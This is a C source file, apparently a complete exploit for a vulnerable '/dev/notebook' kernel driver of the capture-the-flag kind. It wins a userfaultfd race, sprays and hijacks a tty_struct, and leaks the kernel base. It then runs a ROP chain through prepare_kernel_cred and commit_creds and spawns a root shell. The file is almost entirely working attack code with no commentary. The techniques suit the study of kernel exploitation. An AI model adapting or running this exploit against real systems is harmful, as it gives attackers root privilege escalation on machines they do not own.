1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326
| #include <pthread.h> #include <semaphore.h> #include <sys/sem.h> #include "myusfd.h"
#define TTY_STRUCT_SIZE 0x2e0 #define PTM_UNIX98_OPS 0xffffffff81e8e440 #define PTY_UNIX98_OPS 0xffffffff81e8e320 #define COMMIT_CREDS 0xffffffff810a9b40 #define PREPARE_KERNEL_CRED 0xffffffff810a9ef0 #define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81a00929 #define PUSH_RDI_POP_RSP_POP_RBP_ADD_RAX_RDX_RET 0xffffffff81238d50 #define MOV_RSP_RBP_POP_RBP_RET 0xffffffff8107875c #define POP_RDI_RET 0xffffffff81007115 #define MOV_RDI_RAX_POP_RBP_RET \ 0xffffffff81045833 #define POP_RDX_RET 0xffffffff81358842 #define RET 0xffffffff81000091 #define SWAPGS_POP_RBP_RET 0xffffffff810637d4 #define IRETQ 0xffffffff810338bb #define POP_RDX_POP_R12_POP_RBP_RET 0xffffffff810880c1 #define POP_RSI_POP_RDI_POP_RBX_RET 0xffffffff81079c38 #define POP_RBP_RET 0xffffffff81000367 #define POP_RBX_POP_RBP_RET 0xffffffff81002141 #define POP_RAX_POP_RBX_POP_RBP_RET 0xffffffff810cadf7
static long notefd; static char* page; char* note_buf; size_t user_cs, user_ss, user_rflags, user_sp;
size_t kernel_offset = 0, kernel_base = 0xffffffff81000000; size_t commit_creds = 0, prepare_kernel_cred = 0; static sem_t sem_add, sem_edit;
typedef struct { size_t idx; size_t size; char* buf; } Note;
void fault_handler_thread(void* arg) { static struct uffd_msg msg; long uffd; struct uffdio_copy uffdio_copy; struct pollfd pollfd; int nread; int nready; uffd = (long)arg; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); if (nready == -1) errExit("poll"); if (nready != 1) { errExit("[-] Wrong poll return val"); } nread = read(uffd, &msg, sizeof(msg));
sleep(100);
if (nread <= 0) { errExit("[-] msg err"); } memset(note_buf, 0, sizeof(note_buf)); uffdio_copy.src = (unsigned long)note_buf; uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1); uffdio_copy.len = PAGE_SIZE; uffdio_copy.mode = 0; uffdio_copy.copy = 0; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) errExit("ioctl-UFFDIO_COPY"); puts("[+] fault_handler done"); return; }
void saveStatus() { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;"); printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n"); }
void getRootShell(void) { puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");
if (getuid()) { puts("\033[31m\033[1m[x] Failed to get the root!\033[0m"); exit(-1); }
puts( "\033[32m\033[1m[+] Successful to get the root. Execve root shell " "now...\033[0m"); system("/bin/sh"); }
void noteadd(size_t idx,size_t size,char *buf){ Note note = { .idx = idx, .size = size, .buf = buf, }; ioctl(notefd, 0x100, ¬e); } void notedel(size_t idx){ Note note = {.idx = idx}; ioctl(notefd, 0x200, ¬e); } void notegift(char *buf){ Note note = {.buf = buf}; ioctl(notefd, 0x64, ¬e); } void noteedit(size_t idx,size_t size,char *buf){ Note note = { .idx = idx, .size = size, .buf = buf, }; ioctl(notefd, 0x300, ¬e); } void evilEdit(void *args){ sem_wait(&sem_edit); noteedit((int)args, 0x2000, page); } void evilAdd(void* args) { sem_wait(&sem_add); noteadd((int)args, 0x50, page); }
struct { void* buf; size_t size; } notebook[0x10];
int main(){ int tty_fd[0x100], tty_idx, fake_tty_ops_idx = -1, fake_stack_idx = -1, hit_tty = 0; size_t tty_data[0x200], fake_tty_data[0x200], tty_ops, fake_tty_ops_data[0x200], rop[0x100]; pthread_t tmp_t, add_t, edit_t;
page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); note_buf = malloc(0x1000); userfault_register(page, fault_handler_thread); saveStatus(); sem_init(&sem_add, 0, 0); sem_init(&sem_edit, 0, 0);
notefd = open("/dev/notebook", O_RDWR); strcpy(note_buf, "abcdefg"); for (int i = 0; i < 0x10;i++){ noteadd(i, 0x60, note_buf); noteedit(i, TTY_STRUCT_SIZE, note_buf); } puts("\033[32m\033[1m[+] Notebook initialization done.\033[0m"); sleep(1);
for (int i = 0; i < 0x10;i++){ pthread_create(&edit_t, NULL, evilEdit, (void*)i); } puts("\033[34m\033[1m[*] Edit threads started.\033[0m");
for (int i = 0; i < 0x10;i++){ sem_post(&sem_edit); } puts("\033[32m\033[1m[+] Edit threads trapped in userfaultfd.\033[0m"); sleep(1);
for (int i = 0; i < 0x80; i++) tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY); puts("\033[32m\033[1m[+] Heap spray for tty done.\033[0m"); sleep(1);
for (int i = 0; i < 0x10; i++) pthread_create(&add_t, NULL, evilAdd, (void*)i); puts("\033[34m\033[1m[*] Add threads started.\033[0m");
for (int i = 0; i < 0x10; i++) sem_post(&sem_add); puts("\033[32m\033[1m[+] Add threads trapped in userfaultfd.\033[0m"); sleep(1);
notegift((char*)notebook); for (int i = 0; i < 0x10; i++) { read(notefd, tty_data, i); if (hit_tty = (*((int*)tty_data) == 0x5401)) { printf( "\033[32m\033[1m[+] Successfully hit the tty_struct at idx " "\033[0m%d.\n", tty_idx = i); printf("\033[32m\033[1m[+] Address of the tty_struct: \033[0m%p.\n", notebook[i].buf); break; } } if (!hit_tty) errExit("Failed to hit the tty struct.");
printf("\033[34m\033[1m[*] read tty success \n"); tty_ops = *(unsigned long long*)(tty_data + 3); kernel_offset = ((tty_ops & 0xfff) == (PTY_UNIX98_OPS & 0xfff) ? (tty_ops - PTY_UNIX98_OPS) : tty_ops - PTM_UNIX98_OPS); kernel_base = (void*)((size_t)kernel_base + kernel_offset); prepare_kernel_cred = PREPARE_KERNEL_CRED + kernel_offset; commit_creds = COMMIT_CREDS + kernel_offset; printf("\033[34m\033[1m[*] Kernel offset: \033[0m0x%llx\n", kernel_offset); printf("\033[32m\033[1m[+] Kernel base: \033[0m%p\n", kernel_base); printf("\033[32m\033[1m[+] prepare_kernel_cred: \033[0m%p\n", prepare_kernel_cred); printf("\033[32m\033[1m[+] commit_creds: \033[0m%p\n", commit_creds); printf( "\033[32m\033[1m[+] swapgs_restore_regs_and_return_to_usermode: " "\033[0m%p\n", SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset); printf("\n\n\033[32m\033[1m[+] just for debug :%p\n\n", PUSH_RDI_POP_RSP_POP_RBP_ADD_RAX_RDX_RET + kernel_offset); notegift((char*)notebook); for (int i = 0; i < 0x10; i++) { read(notefd, tty_data, i); if (*((int*)tty_data) != 0x5401) { if (fake_tty_ops_idx == -1) printf( "\033[34m\033[1m[*] Fake tty_operations at idx " "\033[0m%d.\n", fake_tty_ops_idx = i); else { printf("\033[34m\033[1m[*] Fake stack at idx \033[0m%d.\n", fake_stack_idx = i); break; } } } if (fake_tty_ops_idx == -1 || fake_stack_idx == -1) errExit( "Unable to find enough available notes, you\'re so lucky that you " "got so many tty_structs."); sleep(1); noteedit(fake_tty_ops_idx, TTY_STRUCT_SIZE, fake_tty_data); noteedit(fake_stack_idx, 0x100, rop); notegift((char*)notebook); printf( "\033[32m\033[1m[+] Address of the fake tty_operations: \033[0m%p.\n", notebook[fake_tty_ops_idx].buf); printf("\033[32m\033[1m[+] Address of the fake stack: \033[0m%p.\n", notebook[fake_stack_idx].buf);
sleep(20); read(notefd, tty_data, tty_idx); memcpy(fake_tty_data, tty_data, sizeof(size_t) * 0x200);
((struct tty_operations*)fake_tty_ops_data)->write = PUSH_RDI_POP_RSP_POP_RBP_ADD_RAX_RDX_RET + kernel_offset; fake_tty_data[1] = POP_RBX_POP_RBP_RET + kernel_offset; fake_tty_data[3] = notebook[fake_tty_ops_idx].buf; fake_tty_data[4] = MOV_RSP_RBP_POP_RBP_RET + kernel_offset;
fake_tty_ops_data[1] = POP_RBP_RET + kernel_offset; fake_tty_ops_data[2] = notebook[fake_stack_idx].buf; fake_tty_ops_data[3] = MOV_RSP_RBP_POP_RBP_RET + kernel_offset;
int rop_idx = 0; rop[rop_idx++] = 0x3361626e74747261; rop[rop_idx++] = POP_RDI_RET + kernel_offset; rop[rop_idx++] = 0; rop[rop_idx++] = prepare_kernel_cred; rop[rop_idx++] = POP_RDX_RET + kernel_offset; rop[rop_idx++] = RET; rop[rop_idx++] = MOV_RDI_RAX_POP_RBP_RET + kernel_offset; rop[rop_idx++] = 0x3361626e74747261; rop[rop_idx++] = commit_creds; rop[rop_idx++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22 + kernel_offset; rop[rop_idx++] = 0; rop[rop_idx++] = 0; rop[rop_idx++] = (size_t)&getRootShell; rop[rop_idx++] = user_cs; rop[rop_idx++] = user_rflags; rop[rop_idx++] = user_sp; rop[rop_idx++] = user_ss;
write(notefd, rop, fake_stack_idx); write(notefd, fake_tty_ops_data, fake_tty_ops_idx); write(notefd, fake_tty_data, tty_idx); puts("\033[32m\033[1m[+] TTY DATA hijack done.\033[0m");
puts("\033[34m\033[1m[*] Start to exploit...\033[0m"); for (int i = 0; i < 0x80; i++) write(tty_fd[i], note_buf, 233);
return 0; }
|